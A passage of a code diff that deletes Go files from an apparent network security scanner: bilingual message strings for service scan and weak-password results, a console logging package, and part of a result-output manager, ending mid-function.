},
"mssql_auth_failed": {
LangZH: "MSSQL认证失败 %s: %v",
LangEN: "MSSQL authentication failed %s: %v",
},
// ========================= Neo4j插件消息 =========================
"neo4j_unauth_access": {
LangZH: "Neo4j服务 %s 未授权访问成功",
LangEN: "Neo4j service %s unauthorized access successful",
},
"neo4j_default_creds": {
LangZH: "Neo4j服务 %s 默认凭证可用 %s:%s",
LangEN: "Neo4j service %s default credentials available %s:%s",
},
"neo4j_auth_success": {
LangZH: "Neo4j服务 %s 认证成功 %s:%s",
LangEN: "Neo4j service %s authentication successful %s:%s",
},
"neo4j_service_identified": {
LangZH: "Neo4j服务识别成功: %s - %s",
LangEN: "Neo4j service identified: %s - %s",
},
"neo4j_connection_failed": {
LangZH: "Neo4j连接失败: %v",
LangEN: "Neo4j connection failed: %v",
},
"neo4j_auth_failed": {
LangZH: "Neo4j认证失败 %s: %v",
LangEN: "Neo4j authentication failed %s: %v",
},
// ========================= PostgreSQL插件消息 =========================
"postgresql_auth_success": {
LangZH: "PostgreSQL服务 %s 认证成功 %s:%s",
LangEN: "PostgreSQL service %s authentication successful %s:%s",
},
"postgresql_service_identified": {
LangZH: "PostgreSQL服务识别成功: %s - %s",
LangEN: "PostgreSQL service identified: %s - %s",
},
"postgresql_connection_failed": {
LangZH: "PostgreSQL连接失败: %v",
LangEN: "PostgreSQL connection failed: %v",
},
"postgresql_auth_failed": {
LangZH: "PostgreSQL认证失败 %s: %v",
LangEN: "PostgreSQL authentication failed %s: %v",
},
// ========================= Oracle插件消息 =========================
"oracle_auth_success": {
LangZH: "Oracle服务 %s 认证成功 %s:%s",
LangEN: "Oracle service %s authentication successful %s:%s",
},
"oracle_sys_auth_success": {
LangZH: "Oracle服务 %s 高危用户认证成功 %s:%s (可能需要SYSDBA权限)",
LangEN: "Oracle service %s high-risk user authentication successful %s:%s (may require SYSDBA privilege)",
},
"oracle_service_identified": {
LangZH: "Oracle服务识别成功: %s - %s",
LangEN: "Oracle service identified: %s - %s",
},
"oracle_connection_failed": {
LangZH: "Oracle连接失败: %v",
LangEN: "Oracle connection failed: %v",
},
"oracle_auth_failed": {
LangZH: "Oracle认证失败 %s: %v",
LangEN: "Oracle authentication failed %s: %v",
},
// ========================= POP3插件消息 =========================
"pop3_weak_pwd_success": {
LangZH: "POP3弱密码: %s [%s:%s]",
LangEN: "POP3 weak password: %s [%s:%s]",
},
"pop3_service_identified": {
LangZH: "POP3服务识别成功: %s - %s",
LangEN: "POP3 service identified: %s - %s",
},
"pop3_connection_failed": {
LangZH: "POP3连接失败: %v",
LangEN: "POP3 connection failed: %v",
},
"pop3_auth_failed": {
LangZH: "POP3认证失败: %v",
LangEN: "POP3 authentication failed: %v",
},
// ========================= RabbitMQ插件消息 =========================
"rabbitmq_weak_pwd_success": {
LangZH: "RabbitMQ弱密码: %s [%s:%s]",
LangEN: "RabbitMQ weak password: %s [%s:%s]",
},
"rabbitmq_service_identified": {
LangZH: "RabbitMQ服务识别成功: %s - %s",
LangEN: "RabbitMQ service identified: %s - %s",
},
"rabbitmq_connection_failed": {
LangZH: "RabbitMQ连接失败: %v",
LangEN: "RabbitMQ connection failed: %v",
},
"rabbitmq_auth_failed": {
LangZH: "RabbitMQ认证失败: %v",
LangEN: "RabbitMQ authentication failed: %v",
},
// ========================= Rsync插件消息 =========================
"rsync_anonymous_success": {
LangZH: "Rsync匿名访问: %s",
LangEN: "Rsync anonymous access: %s",
},
"rsync_weak_pwd_success": {
LangZH: "Rsync弱密码: %s [%s:%s]",
LangEN: "Rsync weak password: %s [%s:%s]",
},
"rsync_service_identified": {
LangZH: "Rsync服务识别成功: %s - %s",
LangEN: "Rsync service identified: %s - %s",
},
"rsync_connection_failed": {
LangZH: "Rsync连接失败: %v",
LangEN: "Rsync connection failed: %v",
},
"rsync_auth_failed": {
LangZH: "Rsync认证失败: %v",
LangEN: "Rsync authentication failed: %v",
},
// ========================= SMTP插件消息 =========================
"smtp_anonymous_success": {
LangZH: "SMTP匿名访问: %s",
LangEN: "SMTP anonymous access: %s",
},
"smtp_weak_pwd_success": {
LangZH: "SMTP弱密码: %s [%s:%s]",
LangEN: "SMTP weak password: %s [%s:%s]",
},
"smtp_service_identified": {
LangZH: "SMTP服务识别成功: %s - %s",
LangEN: "SMTP service identified: %s - %s",
},
"smtp_connection_failed": {
LangZH: "SMTP连接失败: %v",
LangEN: "SMTP connection failed: %v",
},
"smtp_auth_failed": {
LangZH: "SMTP认证失败: %v",
LangEN: "SMTP authentication failed: %v",
},
// ========================= SNMP插件消息 =========================
"snmp_weak_community_success": {
LangZH: "SNMP弱community: %s [%s]",
LangEN: "SNMP weak community: %s [%s]",
},
"snmp_service_identified": {
LangZH: "SNMP服务识别成功: %s - %s",
LangEN: "SNMP service identified: %s - %s",
},
"snmp_connection_failed": {
LangZH: "SNMP连接失败: %v",
LangEN: "SNMP connection failed: %v",
},
"snmp_auth_failed": {
LangZH: "SNMP认证失败: %v",
LangEN: "SNMP authentication failed: %v",
},
// ========================= Telnet插件消息 =========================
"telnet_weak_password_success": {
LangZH: "Telnet弱密码: %s 用户名:%s 密码:%s",
LangEN: "Telnet weak password: %s username:%s password:%s",
},
"telnet_unauthorized_access": {
LangZH: "Telnet无需认证: %s",
LangEN: "Telnet unauthorized access: %s",
},
"telnet_connection_failed": {
LangZH: "Telnet连接失败: %v",
LangEN: "Telnet connection failed: %v",
},
"telnet_auth_failed": {
LangZH: "Telnet认证失败: %v",
LangEN: "Telnet authentication failed: %v",
},
}

View File

@ -1,287 +0,0 @@
package messages
/*
scan.go - 扫描相关消息
包含扫描流程模式选择插件管理等相关的
国际化消息定义
*/
// ScanMessages 扫描相关消息
var ScanMessages = map[string]map[string]string{
// ========================= 扫描流程消息 =========================
"scan_mode_service_selected": {
LangZH: "已选择服务扫描模式",
LangEN: "Service scan mode selected",
},
"scan_mode_alive_selected": {
LangZH: "已选择存活探测模式",
LangEN: "Alive detection mode selected",
},
"scan_mode_local_selected": {
LangZH: "已选择本地扫描模式",
LangEN: "Local scan mode selected",
},
"scan_mode_web_selected": {
LangZH: "已选择Web扫描模式",
LangEN: "Web scan mode selected",
},
"scan_info_start": {
LangZH: "开始信息扫描",
LangEN: "Starting information scan",
},
"scan_host_start": {
LangZH: "开始主机扫描",
LangEN: "Starting host scan",
},
"scan_vulnerability_start": {
LangZH: "开始漏洞扫描",
LangEN: "Starting vulnerability scan",
},
"scan_service_plugins": {
LangZH: "使用服务扫描插件: %s",
LangEN: "Using service scan plugins: %s",
},
"scan_no_service_plugins": {
LangZH: "未找到可用的服务插件",
LangEN: "No available service plugins found",
},
"scan_vulnerability_plugins": {
LangZH: "使用漏洞扫描插件: %s",
LangEN: "Using vulnerability scan plugins: %s",
},
"scan_no_vulnerability_plugins": {
LangZH: "未找到可用的漏洞扫描插件",
LangEN: "No available vulnerability scan plugins found",
},
"scan_complete_ports_found": {
LangZH: "扫描完成, 发现 %d 个开放端口",
LangEN: "Scan completed, found %d open ports",
},
"scan_alive_ports_count": {
LangZH: "存活端口数量: %d",
LangEN: "Alive ports count: %d",
},
"scan_snmp_udp_ports_added": {
LangZH: "检测到SNMP端口161添加UDP端口到扫描目标",
LangEN: "Detected SNMP port 161, adding UDP ports to scan targets",
},
"scan_task_complete": {
LangZH: "扫描已完成: %d/%d",
LangEN: "Scan completed: %d/%d",
},
// ========================= 扫描错误消息 =========================
"scan_plugin_panic": {
LangZH: "[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
LangEN: "[PANIC] Plugin %s crashed while scanning %s:%s: %v",
},
"scan_plugin_not_found": {
LangZH: "扫描类型 %v 无对应插件,已跳过",
LangEN: "No plugin found for scan type %v, skipped",
},
"scan_plugin_error": {
LangZH: "扫描错误 %v:%v - %v",
LangEN: "Scan error %v:%v - %v",
},
// ========================= 扫描器插件消息 =========================
"scan_local_start": {
LangZH: "开始本地信息收集",
LangEN: "Starting local information collection",
},
"scan_service_start": {
LangZH: "开始服务扫描",
LangEN: "Starting service scan",
},
"scan_web_start": {
LangZH: "开始Web扫描",
LangEN: "Starting web scan",
},
"scan_general_start": {
LangZH: "开始扫描",
LangEN: "Starting scan",
},
"scan_mode_local_prefix": {
LangZH: "本地模式",
LangEN: "Local mode",
},
"scan_mode_service_prefix": {
LangZH: "服务模式",
LangEN: "Service mode",
},
"scan_mode_web_prefix": {
LangZH: "Web模式",
LangEN: "Web mode",
},
"scan_plugins_local": {
LangZH: "使用本地插件: %s",
LangEN: "Using local plugins: %s",
},
"scan_plugins_service": {
LangZH: "使用服务插件: %s",
LangEN: "Using service plugins: %s",
},
"scan_plugins_web": {
LangZH: "使用Web插件: %s",
LangEN: "Using web plugins: %s",
},
"scan_plugins_custom_specified": {
LangZH: "使用指定插件: %s",
LangEN: "Using specified plugins: %s",
},
"scan_no_local_plugins": {
LangZH: "未找到可用的本地插件",
LangEN: "No available local plugins found",
},
"scan_no_web_plugins": {
LangZH: "未找到可用的Web插件",
LangEN: "No available web plugins found",
},
"scan_strategy_local_name": {
LangZH: "本地扫描",
LangEN: "Local Scan",
},
"scan_strategy_local_desc": {
LangZH: "收集本地系统信息",
LangEN: "Collect local system information",
},
"scan_strategy_service_name": {
LangZH: "服务扫描",
LangEN: "Service Scan",
},
"scan_strategy_service_desc": {
LangZH: "扫描主机服务和漏洞",
LangEN: "Scan host services and vulnerabilities",
},
"scan_strategy_web_name": {
LangZH: "Web扫描",
LangEN: "Web Scan",
},
"scan_strategy_web_desc": {
LangZH: "扫描Web应用漏洞和信息",
LangEN: "Scan web application vulnerabilities and information",
},
"scan_alive_hosts_count": {
LangZH: "存活主机数量: %d",
LangEN: "Alive hosts count: %d",
},
"scan_strategy_alive_name": {
LangZH: "存活探测",
LangEN: "Alive Detection",
},
"scan_strategy_alive_desc": {
LangZH: "快速探测主机存活状态",
LangEN: "Fast detection of host alive status",
},
"scan_alive_start": {
LangZH: "开始存活探测",
LangEN: "Starting alive detection",
},
"scan_alive_single_target": {
LangZH: "目标主机: %s",
LangEN: "Target host: %s",
},
"scan_alive_multiple_targets": {
LangZH: "目标主机数量: %d (示例: %s)",
LangEN: "Target hosts count: %d (example: %s)",
},
"scan_alive_summary_title": {
LangZH: "存活探测结果摘要",
LangEN: "Alive Detection Summary",
},
"scan_alive_total_hosts": {
LangZH: "总主机数: %d",
LangEN: "Total hosts: %d",
},
"scan_alive_hosts_found": {
LangZH: "存活主机: %d",
LangEN: "Alive hosts: %d",
},
"scan_alive_dead_hosts": {
LangZH: "死亡主机: %d",
LangEN: "Dead hosts: %d",
},
"scan_alive_success_rate": {
LangZH: "存活率: %.2f%%",
LangEN: "Success rate: %.2f%%",
},
"scan_alive_duration": {
LangZH: "扫描耗时: %v",
LangEN: "Scan duration: %v",
},
"scan_alive_hosts_list": {
LangZH: "存活主机列表:",
LangEN: "Alive hosts list:",
},
"target_alive": {
LangZH: "存活主机: %s (%s)",
LangEN: "Alive host: %s (%s)",
},
// ========================= 进度条消息 =========================
"progress_scanning_description": {
LangZH: "扫描进度",
LangEN: "Scanning Progress",
},
"progress_port_scanning": {
LangZH: "端口扫描",
LangEN: "Port Scanning",
},
"progress_port_scanning_with_threads": {
LangZH: "端口扫描 (线程:%d)",
LangEN: "Port Scanning (Threads:%d)",
},
"progress_scan_completed": {
LangZH: "扫描完成:",
LangEN: "Scan Completed:",
},
"progress_port_scan_completed": {
LangZH: "端口扫描完成:",
LangEN: "Port Scan Completed:",
},
"progress_open_ports": {
LangZH: "开放端口",
LangEN: "Open Ports",
},
// ========================= 并发状态消息 =========================
"concurrency_plugin": {
LangZH: "插件",
LangEN: "Plugins",
},
"concurrency_connection": {
LangZH: "连接",
LangEN: "Conns",
},
"concurrency_plugin_tasks": {
LangZH: "活跃插件任务",
LangEN: "Active Plugin Tasks",
},
"concurrency_connection_details": {
LangZH: "连接详情",
LangEN: "Connection Details",
},
"concurrency_no_active_tasks": {
LangZH: "无活跃任务",
LangEN: "No Active Tasks",
},
// ========================= 扫描配置消息 =========================
"scan_config_thread_num": {
LangZH: "端口扫描线程数: %d",
LangEN: "Port scan threads: %d",
},
"scan_config_timeout": {
LangZH: "连接超时: %ds",
LangEN: "Connection timeout: %ds",
},
"scan_config_module_thread_num": {
LangZH: "插件内线程数: %d",
LangEN: "Plugin threads: %d",
},
"scan_config_global_timeout": {
LangZH: "单个插件全局超时: %ds",
LangEN: "Plugin global timeout: %ds",
},
}

View File

@ -1,75 +0,0 @@
package logging
import (
"fmt"
"time"
)
// StandardFormatter 标准日志格式化器
type StandardFormatter struct {
startTime time.Time
}
// NewStandardFormatter 创建标准格式化器
func NewStandardFormatter() *StandardFormatter {
return &StandardFormatter{
startTime: time.Now(),
}
}
// SetStartTime 设置开始时间
func (f *StandardFormatter) SetStartTime(startTime time.Time) {
f.startTime = startTime
}
// Format 格式化日志条目
func (f *StandardFormatter) Format(entry *LogEntry) string {
elapsed := time.Since(f.startTime)
timeStr := f.formatElapsedTime(elapsed)
prefix := f.getLevelPrefix(entry.Level)
return fmt.Sprintf("[%s] %s %s", timeStr, prefix, entry.Content)
}
// formatElapsedTime 格式化经过的时间
func (f *StandardFormatter) formatElapsedTime(elapsed time.Duration) string {
switch {
case elapsed < MaxMillisecondDisplay:
// 毫秒显示,不需要小数
return fmt.Sprintf("%dms", elapsed.Milliseconds())
case elapsed < MaxSecondDisplay:
// 秒显示,保留一位小数
return fmt.Sprintf("%.1fs", elapsed.Seconds())
case elapsed < MaxMinuteDisplay:
// 分钟和秒显示
minutes := int(elapsed.Minutes())
seconds := int(elapsed.Seconds()) % 60
return fmt.Sprintf("%dm%ds", minutes, seconds)
default:
// 小时、分钟和秒显示
hours := int(elapsed.Hours())
minutes := int(elapsed.Minutes()) % 60
seconds := int(elapsed.Seconds()) % 60
return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
}
}
// getLevelPrefix 获取日志级别前缀
func (f *StandardFormatter) getLevelPrefix(level LogLevel) string {
switch level {
case LevelSuccess:
return PrefixSuccess
case LevelInfo:
return PrefixInfo
case LevelError:
return PrefixError
default:
return PrefixDefault
}
}
// =============================================================================================
// 已删除的死代码(未使用):
// DetailedFormatter 及其 Format() 方法
// JSONFormatter 及其 SetStartTime() 和 Format() 方法
// =============================================================================================

View File

@ -1,315 +0,0 @@
package logging
import (
"fmt"
"io"
"log"
"path/filepath"
"runtime"
"sync"
"time"
"github.com/fatih/color"
)
// Logger 日志管理器
type Logger struct {
mu sync.RWMutex
config *LoggerConfig
formatter LogFormatter
handlers []LogHandler
scanStatus *ScanStatus
progressBar ProgressDisplay
outputMutex *sync.Mutex
initialized bool
}
// NewLogger 创建新的日志管理器
func NewLogger(config *LoggerConfig) *Logger {
if config == nil {
config = DefaultLoggerConfig()
}
logger := &Logger{
config: config,
formatter: NewStandardFormatter(),
handlers: make([]LogHandler, 0),
scanStatus: NewScanStatus(),
outputMutex: &sync.Mutex{},
initialized: true,
}
// 设置格式化器的开始时间
logger.formatter.SetStartTime(config.StartTime)
// 添加默认的控制台处理器
consoleHandler := NewConsoleHandler(config)
logger.AddHandler(consoleHandler)
return logger
}
// =============================================================================================
// 已删除的死代码未使用SetFormatter 方法
// =============================================================================================
// AddHandler 添加日志处理器
func (l *Logger) AddHandler(handler LogHandler) {
l.mu.Lock()
defer l.mu.Unlock()
l.handlers = append(l.handlers, handler)
}
// SetProgressBar 设置进度条显示
func (l *Logger) SetProgressBar(progressBar ProgressDisplay) {
l.mu.Lock()
defer l.mu.Unlock()
l.progressBar = progressBar
}
// SetOutputMutex 设置输出互斥锁
func (l *Logger) SetOutputMutex(mutex *sync.Mutex) {
l.mu.Lock()
defer l.mu.Unlock()
l.outputMutex = mutex
}
// SetCoordinatedOutput 设置协调输出函数(用于进度条协调)
func (l *Logger) SetCoordinatedOutput(fn func(string)) {
l.mu.RLock()
defer l.mu.RUnlock()
for _, handler := range l.handlers {
if consoleHandler, ok := handler.(*ConsoleHandler); ok {
consoleHandler.SetCoordinatedOutput(fn)
}
}
}
// Log 记录日志
func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]interface{}) {
if !l.shouldLog(level) {
return
}
entry := &LogEntry{
Level: level,
Time: time.Now(),
Content: content,
}
// 添加元数据
if len(metadata) > 0 {
entry.Metadata = metadata[0]
}
// 对于错误级别,自动添加调用者信息
if level == LevelError {
if _, file, line, ok := runtime.Caller(2); ok {
entry.Source = fmt.Sprintf("%s:%d", filepath.Base(file), line)
entry.Content = fmt.Sprintf("%s:%d - %s", filepath.Base(file), line, content)
}
}
l.handleLogEntry(entry)
// 更新扫描状态
if level == LevelSuccess {
l.scanStatus.UpdateSuccess()
} else if level == LevelError {
l.scanStatus.UpdateError()
}
}
// shouldLog 检查是否应该记录该级别的日志
func (l *Logger) shouldLog(level LogLevel) bool {
switch l.config.Level {
case LevelAll:
return true
case LevelBaseInfoSuccess:
return level == LevelBase || level == LevelInfo || level == LevelSuccess
case LevelInfoSuccess:
return level == LevelInfo || level == LevelSuccess
case LevelError:
return level == LevelError
case LevelBase:
return level == LevelBase
case LevelInfo:
return level == LevelInfo
case LevelSuccess:
return level == LevelSuccess
case LevelDebug:
return level == LevelDebug
default:
// 向后兼容:如果是字符串 "debug",显示所有
if l.config.Level == "debug" {
return true
}
// 默认显示base、info和success
return level == LevelBase || level == LevelInfo || level == LevelSuccess
}
}
// handleLogEntry 处理日志条目
func (l *Logger) handleLogEntry(entry *LogEntry) {
l.outputMutex.Lock()
defer l.outputMutex.Unlock()
// 清除进度条
l.clearProgress()
// 使用所有处理器处理日志
l.mu.RLock()
for _, handler := range l.handlers {
if handler.IsEnabled() {
handler.Handle(entry)
}
}
l.mu.RUnlock()
// 恢复进度条
l.restoreProgress()
}
// clearProgress 清除进度条
func (l *Logger) clearProgress() {
if l.progressBar != nil {
l.progressBar.Clear() // 忽略错误
time.Sleep(ProgressClearDelay)
}
}
// restoreProgress 恢复进度条
func (l *Logger) restoreProgress() {
if l.progressBar != nil {
l.progressBar.RenderBlank() // 忽略错误
}
}
// 便利方法
func (l *Logger) Debug(content string, metadata ...map[string]interface{}) {
l.Log(LevelDebug, content, metadata...)
}
func (l *Logger) Base(content string, metadata ...map[string]interface{}) {
l.Log(LevelBase, content, metadata...)
}
func (l *Logger) Info(content string, metadata ...map[string]interface{}) {
l.Log(LevelInfo, content, metadata...)
}
func (l *Logger) Success(content string, metadata ...map[string]interface{}) {
l.Log(LevelSuccess, content, metadata...)
}
func (l *Logger) Error(content string, metadata ...map[string]interface{}) {
l.Log(LevelError, content, metadata...)
}
// =============================================================================================
// 已删除的死代码未使用GetScanStatus 获取扫描状态管理器
// =============================================================================================
// Initialize 初始化日志系统(兼容原接口)
func (l *Logger) Initialize() {
// 禁用标准日志输出
log.SetOutput(io.Discard)
}
// ConsoleHandler 控制台日志处理器
type ConsoleHandler struct {
config *LoggerConfig
formatter LogFormatter
enabled bool
coordinatedOutput func(string) // 协调输出函数
mu sync.RWMutex
}
// NewConsoleHandler 创建控制台处理器
func NewConsoleHandler(config *LoggerConfig) *ConsoleHandler {
formatter := NewStandardFormatter()
formatter.SetStartTime(config.StartTime)
return &ConsoleHandler{
config: config,
formatter: formatter,
enabled: true,
}
}
// Handle 处理日志条目
func (h *ConsoleHandler) Handle(entry *LogEntry) {
h.mu.RLock()
defer h.mu.RUnlock()
if !h.enabled {
return
}
// 使用自己的格式化器格式化消息
logMsg := h.formatter.Format(entry)
// 使用协调输出函数,如果设置了的话
if h.coordinatedOutput != nil {
if h.config.EnableColor {
if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
coloredMsg := color.New(attr).Sprint(logMsg)
h.coordinatedOutput(coloredMsg)
} else {
h.coordinatedOutput(logMsg)
}
} else {
h.coordinatedOutput(logMsg)
}
} else {
h.coordinatedOutput(logMsg)
}
} else {
// 回到原来的直接输出方式
if h.config.EnableColor {
if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
color.New(attr).Println(logMsg)
} else {
fmt.Println(logMsg)
}
} else {
fmt.Println(logMsg)
}
} else {
fmt.Println(logMsg)
}
}
// 根据慢速输出设置决定是否添加延迟
if h.config.SlowOutput {
time.Sleep(SlowOutputDelay)
}
}
// SetEnabled 设置处理器启用状态
func (h *ConsoleHandler) SetEnabled(enabled bool) {
h.mu.Lock()
defer h.mu.Unlock()
h.enabled = enabled
}
// SetCoordinatedOutput 设置协调输出函数
func (h *ConsoleHandler) SetCoordinatedOutput(fn func(string)) {
h.mu.Lock()
defer h.mu.Unlock()
h.coordinatedOutput = fn
}
// IsEnabled 检查处理器是否启用
func (h *ConsoleHandler) IsEnabled() bool {
h.mu.RLock()
defer h.mu.RUnlock()
return h.enabled
}
// =============================================================================================
// 已删除的死代码未使用CheckErrs 错误检查函数
// =============================================================================================

View File

@ -1,103 +0,0 @@
package logging
import (
"sync"
"time"
)
// LogEntry 定义单条日志的结构
type LogEntry struct {
Level LogLevel `json:"level"` // 日志级别
Time time.Time `json:"time"` // 日志时间
Content string `json:"content"` // 日志内容
Source string `json:"source"` // 日志来源
Metadata map[string]interface{} `json:"metadata"` // 附加元数据
}
// LogFormatter 日志格式化器接口
type LogFormatter interface {
Format(entry *LogEntry) string
SetStartTime(startTime time.Time)
}
// LogHandler 日志处理器接口
type LogHandler interface {
Handle(entry *LogEntry)
SetEnabled(enabled bool)
IsEnabled() bool
}
// LoggerConfig 日志器配置
type LoggerConfig struct {
Level LogLevel `json:"level"` // 日志级别
EnableColor bool `json:"enable_color"` // 是否启用彩色输出
SlowOutput bool `json:"slow_output"` // 是否启用慢速输出
ShowProgress bool `json:"show_progress"` // 是否显示进度条
StartTime time.Time `json:"start_time"` // 开始时间
LevelColors map[LogLevel]interface{} `json:"-"` // 级别颜色映射
}
// DefaultLoggerConfig 默认日志器配置
func DefaultLoggerConfig() *LoggerConfig {
return &LoggerConfig{
Level: DefaultLevel,
EnableColor: DefaultEnableColor,
SlowOutput: DefaultSlowOutput,
ShowProgress: DefaultShowProgress,
StartTime: time.Now(),
LevelColors: convertColorMap(GetDefaultLevelColors()),
}
}
// convertColorMap 将color.Attribute映射转换为interface{}映射
func convertColorMap(colorMap map[LogLevel]interface{}) map[LogLevel]interface{} {
result := make(map[LogLevel]interface{})
for k, v := range colorMap {
result[k] = v
}
return result
}
// ScanStatus 扫描状态管理器
type ScanStatus struct {
mu sync.RWMutex // 读写互斥锁
total int64 // 总任务数
completed int64 // 已完成任务数
lastSuccess time.Time // 最近一次成功的时间
lastError time.Time // 最近一次错误的时间
}
// NewScanStatus 创建新的扫描状态管理器
func NewScanStatus() *ScanStatus {
now := time.Now()
return &ScanStatus{
lastSuccess: now,
lastError: now,
}
}
// UpdateSuccess 更新最后成功时间
func (s *ScanStatus) UpdateSuccess() {
s.mu.Lock()
defer s.mu.Unlock()
s.lastSuccess = time.Now()
}
// UpdateError 更新最后错误时间
func (s *ScanStatus) UpdateError() {
s.mu.Lock()
defer s.mu.Unlock()
s.lastError = time.Now()
}
// =============================================================================================
// 已删除的死代码(未使用):
// GetLastSuccess, GetLastError, SetTotal, SetCompleted, GetProgress 方法
// =============================================================================================
// ProgressDisplay 进度条显示接口
type ProgressDisplay interface {
Clear() error
RenderBlank() error
}

View File

@ -1,86 +0,0 @@
package logging
/*
constants.go - 日志系统常量定义
统一管理common/logging包中的所有常量便于查看和编辑
*/
import (
"time"
"github.com/fatih/color"
)
// =============================================================================
// 日志级别常量 (从Types.go迁移)
// =============================================================================
// LogLevel 日志级别类型
type LogLevel string
// 定义系统支持的日志级别常量
const (
LevelAll LogLevel = "ALL" // 显示所有级别日志
LevelError LogLevel = "ERROR" // 仅显示错误日志
LevelBase LogLevel = "BASE" // 仅显示基础信息日志
LevelInfo LogLevel = "INFO" // 仅显示信息日志
LevelSuccess LogLevel = "SUCCESS" // 仅显示成功日志
LevelDebug LogLevel = "DEBUG" // 仅显示调试日志
LevelInfoSuccess LogLevel = "INFO_SUCCESS" // 仅显示信息和成功日志
LevelBaseInfoSuccess LogLevel = "BASE_INFO_SUCCESS" // 显示基础、信息和成功日志
)
// =============================================================================
// 时间显示常量 (从Formatter.go迁移)
// =============================================================================
const (
// 时间显示阈值
MaxMillisecondDisplay = time.Second // 毫秒显示的最大时长
MaxSecondDisplay = time.Minute // 秒显示的最大时长
MaxMinuteDisplay = time.Hour // 分钟显示的最大时长
// 慢速输出延迟
SlowOutputDelay = 50 * time.Millisecond
// 进度条清除延迟
ProgressClearDelay = 10 * time.Millisecond
)
// =============================================================================
// 日志前缀常量 (从Formatter.go迁移)
// =============================================================================
const (
PrefixSuccess = "[+]" // 成功日志前缀
PrefixInfo = "[*]" // 信息日志前缀
PrefixError = "[-]" // 错误日志前缀
PrefixDefault = " " // 默认日志前缀
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
DefaultLevel = LevelAll // 默认日志级别
DefaultEnableColor = true // 默认启用彩色输出
DefaultSlowOutput = false // 默认不启用慢速输出
DefaultShowProgress = true // 默认显示进度条
)
// =============================================================================
// 默认颜色映射
// =============================================================================
// GetDefaultLevelColors 获取默认的日志级别颜色映射
func GetDefaultLevelColors() map[LogLevel]interface{} {
return map[LogLevel]interface{}{
LevelError: color.FgBlue, // 错误日志显示蓝色
LevelBase: color.FgYellow, // 基础日志显示黄色
LevelInfo: color.FgGreen, // 信息日志显示绿色
LevelSuccess: color.FgRed, // 成功日志显示红色
LevelDebug: color.FgWhite, // 调试日志显示白色
}
}

View File

@ -1,256 +0,0 @@
package output
import (
"fmt"
"os"
"path/filepath"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// Manager 输出管理器
type Manager struct {
mu sync.RWMutex
config *ManagerConfig
writer OutputWriter
reader OutputReader
statistics *Statistics
buffer []*ScanResult
bufferMutex sync.Mutex
flushTicker *time.Ticker
stopChan chan struct{}
initialized bool
closed bool
}
// NewManager 创建新的输出管理器
func NewManager(config *ManagerConfig) (*Manager, error) {
if config == nil {
return nil, fmt.Errorf(i18n.GetText("output_config_nil"))
}
// 验证输出格式
if err := validateFormat(config.Format); err != nil {
return nil, err
}
// 创建输出目录
if err := createOutputDir(config.OutputPath); err != nil {
return nil, err
}
manager := &Manager{
config: config,
statistics: NewStatistics(),
stopChan: make(chan struct{}),
}
// 初始化写入器
if err := manager.initializeWriter(); err != nil {
return nil, err
}
// 初始化读取器
manager.initializeReader()
// 如果启用缓冲,初始化缓冲区
if config.EnableBuffer {
manager.buffer = make([]*ScanResult, 0, config.BufferSize)
// 如果启用自动刷新,启动定时器
if config.AutoFlush {
manager.startAutoFlush()
}
}
manager.initialized = true
return manager, nil
}
// validateFormat 验证输出格式
func validateFormat(format OutputFormat) error {
switch format {
case FormatTXT, FormatJSON, FormatCSV:
return nil
default:
return fmt.Errorf(i18n.GetText("output_unsupported_format"), format)
}
}
// createOutputDir 创建输出目录
func createOutputDir(outputPath string) error {
dir := filepath.Dir(outputPath)
return os.MkdirAll(dir, DefaultDirPermissions)
}
// initializeWriter 初始化写入器
func (m *Manager) initializeWriter() error {
var writer OutputWriter
var err error
switch m.config.Format {
case FormatTXT:
writer, err = NewTXTWriter(m.config.OutputPath)
case FormatJSON:
writer, err = NewJSONWriter(m.config.OutputPath)
case FormatCSV:
writer, err = NewCSVWriter(m.config.OutputPath)
default:
return fmt.Errorf(i18n.GetText("output_unsupported_format"), m.config.Format)
}
if err != nil {
return fmt.Errorf(i18n.GetText("output_writer_init_failed"), err)
}
m.writer = writer
// 写入头部(如果需要)
return m.writer.WriteHeader()
}
// initializeReader 初始化读取器
func (m *Manager) initializeReader() {
// 目前只有CSV格式支持读取
if m.config.Format == FormatCSV {
m.reader = NewCSVReader(m.config.OutputPath)
}
}
// startAutoFlush 启动自动刷新
func (m *Manager) startAutoFlush() {
m.flushTicker = time.NewTicker(m.config.FlushInterval)
go func() {
for {
select {
case <-m.flushTicker.C:
m.flushBuffer()
case <-m.stopChan:
return
}
}
}()
}
// SaveResult 保存扫描结果
func (m *Manager) SaveResult(result *ScanResult) error {
m.mu.RLock()
defer m.mu.RUnlock()
if !m.initialized {
return fmt.Errorf(i18n.GetText("output_manager_not_init"))
}
if m.closed {
return fmt.Errorf(i18n.GetText("output_manager_closed"))
}
// 更新统计信息
m.statistics.AddResult(result.Type)
// 如果启用缓冲,先添加到缓冲区
if m.config.EnableBuffer {
return m.addToBuffer(result)
}
// 直接写入
return m.writer.Write(result)
}
// addToBuffer 添加结果到缓冲区
func (m *Manager) addToBuffer(result *ScanResult) error {
m.bufferMutex.Lock()
defer m.bufferMutex.Unlock()
m.buffer = append(m.buffer, result)
// 如果缓冲区已满,立即刷新
if len(m.buffer) >= m.config.BufferSize {
return m.flushBufferUnsafe()
}
return nil
}
// flushBuffer 刷新缓冲区(加锁版本)
func (m *Manager) flushBuffer() error {
m.bufferMutex.Lock()
defer m.bufferMutex.Unlock()
return m.flushBufferUnsafe()
}
// flushBufferUnsafe 刷新缓冲区(无锁版本,内部使用)
func (m *Manager) flushBufferUnsafe() error {
if len(m.buffer) == 0 {
return nil
}
// 批量写入
for _, result := range m.buffer {
if err := m.writer.Write(result); err != nil {
return fmt.Errorf(i18n.GetText("output_write_failed"), err)
}
}
// 刷新写入器
if err := m.writer.Flush(); err != nil {
return fmt.Errorf(i18n.GetText("output_flush_failed"), err)
}
// 清空缓冲区
m.buffer = m.buffer[:0]
return nil
}
// =============================================================================================
// 已删除的死代码(未使用):
// GetResults, GetResultsWithFilter, GetStatistics, Flush 方法
// =============================================================================================
// Close 关闭输出管理器
func (m *Manager) Close() error {
m.mu.Lock()
defer m.mu.Unlock()
if m.closed {
return nil
}
// 停止自动刷新
